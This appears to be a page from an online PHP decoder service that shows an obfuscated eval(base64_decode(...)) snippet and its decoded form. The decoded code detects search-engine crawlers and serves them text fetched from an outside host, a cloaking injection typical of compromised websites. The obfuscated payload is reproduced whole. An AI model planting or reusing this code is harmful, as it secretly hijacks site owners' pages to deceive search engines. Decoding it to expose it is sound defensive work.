Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(base64_decode("\103\151\102\156\142\x33\122\166\111\x46\116\x52\x54\x56\147\x..
Decoded Output download
goto SQMX7; SQMX7: function is_bot() { $user_agent = $_SERVER["HTTP_USER_AGENT"]; $bots = array("Googlebot", "TelegramBot", "bingbot", "Google-Site-Verification", "Google-InspectionTool", "adsense", "slurp"); foreach ($bots as $bot) { if (stripos($user_agent, $bot) !== false) { return true; } } return false; } goto c3pNV; c3pNV: if (is_bot()) { $message = file_get_contents("https://wikiegud.com/cloacking/goldcrestmall.com.txt"); echo $message; } goto lApSs; lApSs: Did this file decode correctly?
Original Code
<?php
eval(base64_decode("\103\151\102\156\142\x33\122\166\111\x46\116\x52\x54\x56\147\x33\x4f\171\102\124\125\x55\x31\x59\116\172\x6f\147\x5a\x6e\126\165\131\x33\122\160\142\62\x34\147\x61\x58\x4e\x66\x59\x6d\71\60\113\x43\x6b\x67\x65\171\x41\153\144\130\116\154\143\154\x39\150\x5a\x32\x56\165\144\x43\x41\71\x49\103\x52\x66\125\x30\x56\123\x56\153\x56\123\x57\x79\112\143\x65\104\121\64\130\x48\147\61\x4e\x46\x78\x34\x4e\124\x52\x63\115\124\111\167\130\110\x67\x31\x5a\x6c\x77\170\x4d\152\x56\143\145\x44\125\x7a\x58\x48\x67\x30\116\x56\170\64\x4e\x54\112\x63\x4d\124\115\63\x58\x44\105\x77\x4d\126\x78\64\116\104\144\143\115\124\x41\x31\130\110\147\60\x5a\x56\167\x78\x4d\x6a\121\151\130\x54\x73\x67\x4a\107\x4a\166\144\x48\x4d\147\120\123\102\150\x63\156\x4a\150\145\123\x67\x69\x58\104\x45\x77\116\x31\167\x78\116\x54\x64\143\145\104\132\x6d\x58\x44\105\60\x4e\x31\167\x78\x4e\124\122\x63\145\x44\x59\x31\130\110\x67\62\x4d\154\x78\64\x4e\155\132\143\x4d\124\x59\60\111\x69\x77\x67\111\154\170\64\116\x54\x52\x63\145\x44\x59\x31\x58\104\x45\x31\116\106\x77\x78\x4e\104\126\x63\115\x54\x51\63\130\x44\105\x32\x4d\154\170\64\116\152\x46\x63\x4d\x54\x55\x31\130\x44\x45\x77\115\x6c\167\170\116\x54\x64\x63\x4d\124\131\x30\x49\151\x77\147\x49\x6c\167\170\116\104\112\x63\x65\104\x59\x35\130\104\x45\x31\116\x6c\170\x34\116\152\144\x63\145\x44\x59\171\130\x44\x45\x31\116\61\170\64\x4e\x7a\x51\x69\114\x43\x41\151\x58\x48\147\60\116\61\170\x34\116\155\132\143\145\x44\132\x6d\x58\x44\x45\x30\x4e\x31\170\64\116\x6d\116\x63\x65\x44\x59\61\x58\104\x55\x31\x58\x48\147\61\x4d\61\x77\170\x4e\x54\106\x63\115\124\131\x30\130\x48\147\x32\116\126\170\64\x4d\155\122\143\115\124\111\x32\130\x48\147\x32\116\x56\x78\64\x4e\172\112\143\115\x54\125\x78\130\x44\x45\60\x4e\154\x77\170\116\x54\106\x63\115\124\x51\x7a\130\110\x67\62\x4d\126\x78\x34\x4e\172\x52\143\115\x54\x55\x78\x58\104\105\x31\116\x31\167\170\116\x54\131\x69\x4c\x43\101\x69\130\104\105\167\116\x31\170\64\x4e\x6d\132\x63\x65\104\132\155\130\104\105\x30\116\x31\x77\x78\x4e\x54\122\x63\115\x54\121\x31\x58\x48\147\171\132\x46\x77\170\115\124\x46\143\115\x54\x55\x32\130\104\105\62\x4d\x31\170\64\116\172\102\x63\145\x44\131\61\x58\110\147\x32\x4d\x31\167\x78\116\x6a\122\x63\x4d\124\x55\x78\130\110\147\62\x5a\154\170\x34\116\155\126\143\x65\x44\x55\x30\130\x44\x45\x31\x4e\x31\x77\x78\x4e\x54\x64\x63\145\104\x5a\152\111\151\167\x67\x49\154\x78\64\116\152\106\x63\x65\104\x59\60\130\x44\105\x32\x4d\61\170\x34\116\152\126\143\115\124\125\x32\130\x48\147\x33\x4d\61\167\170\116\x44\x55\151\x4c\x43\x41\151\x58\x48\147\63\115\61\x78\x34\116\155\x4e\x63\x65\x44\x63\x31\130\x48\147\63\x4d\154\170\x34\x4e\172\x41\x69\113\x54\163\x67\x5a\155\71\171\x5a\127\106\152\141\x43\x41\x6f\112\107\x4a\x76\x64\x48\x4d\147\x59\x58\x4d\147\112\107\x4a\166\144\103\x6b\x67\x65\171\102\x70\x5a\151\x41\x6f\x63\x33\x52\171\141\130\102\x76\x63\x79\147\x6b\x64\x58\x4e\x6c\143\x6c\71\150\x5a\x32\x56\165\x64\103\x77\x67\112\107\112\166\144\103\x6b\x67\x49\124\x30\71\x49\x47\x5a\x68\142\x48\116\x6c\113\123\x42\67\111\110\x4a\x6c\144\110\x56\x79\x62\151\102\x30\x63\156\126\154\x4f\x79\x42\x39\111\x48\60\x67\143\155\126\x30\144\130\112\165\x49\107\132\150\142\x48\x4e\x6c\x4f\171\102\x39\111\x47\x64\x76\x64\x47\70\x67\131\172\x4e\167\x54\x6c\x59\67\111\x47\115\x7a\143\105\x35\127\x4f\151\102\x70\x5a\151\x41\157\x61\130\x4e\146\131\x6d\x39\60\x4b\x43\x6b\160\x49\110\x73\x67\112\x47\61\x6c\143\x33\116\x68\x5a\x32\x55\147\x50\x53\102\155\141\127\170\154\x58\x32\144\154\144\106\71\x6a\x62\62\x35\x30\132\x57\65\x30\143\171\x67\151\x58\110\x67\62\117\106\x77\x78\x4e\152\122\143\115\124\131\60\130\104\x45\x32\x4d\x46\x77\170\116\x6a\x4e\x63\145\104\116\x68\130\110\147\x79\x5a\x6c\170\64\x4d\155\132\x63\x4d\x54\131\63\130\x48\147\62\117\x56\x77\170\116\124\x4e\x63\x4d\124\x55\x78\x58\x48\x67\62\x4e\x56\x78\64\x4e\152\x64\x63\x4d\124\x59\61\130\x48\x67\x32\116\x46\x78\x34\x4d\x6d\126\x63\145\x44\131\x7a\x58\x48\147\62\x5a\154\x77\170\x4e\124\x56\x63\116\124\x64\x63\x4d\124\x51\172\130\104\105\61\116\x46\x77\x78\116\x54\144\x63\145\x44\131\x78\130\110\x67\62\x4d\x31\x78\x34\116\155\x4a\143\145\x44\131\65\130\104\x45\x31\116\154\167\x78\116\104\144\143\x4e\124\144\143\x65\104\131\x33\130\110\x67\62\132\x6c\x77\x78\116\124\x52\143\x4d\124\121\x30\130\110\x67\62\x4d\61\x77\170\116\152\x4a\143\x4d\124\121\x31\x58\x44\x45\x32\x4d\x31\x78\x34\x4e\172\122\143\x4d\124\125\61\x58\x44\x45\x30\115\126\x77\170\x4e\x54\x52\143\x4d\124\x55\x30\130\x44\x55\62\x58\x48\147\62\x4d\x31\170\x34\116\155\132\x63\x65\x44\132\x6b\x58\104\x55\62\130\x44\105\62\116\x46\x78\x34\x4e\172\150\x63\145\104\143\x30\x49\151\153\x37\111\x47\126\152\x61\x47\x38\x67\112\107\x31\x6c\x63\x33\116\150\132\x32\x55\67\x49\110\60\147\x5a\62\71\60\142\171\102\163\121\130\x42\124\143\x7a\163\147\142\x45\x46\x77\125\63\115\66\x49\101\x3d\x3d")); ?>Function Calls
| base64_decode | 1 |
Stats
| MD5 | 49606889b3841073cb95b45707c8806a |
| Eval Count | 1 |
| Decode Time | 111 ms |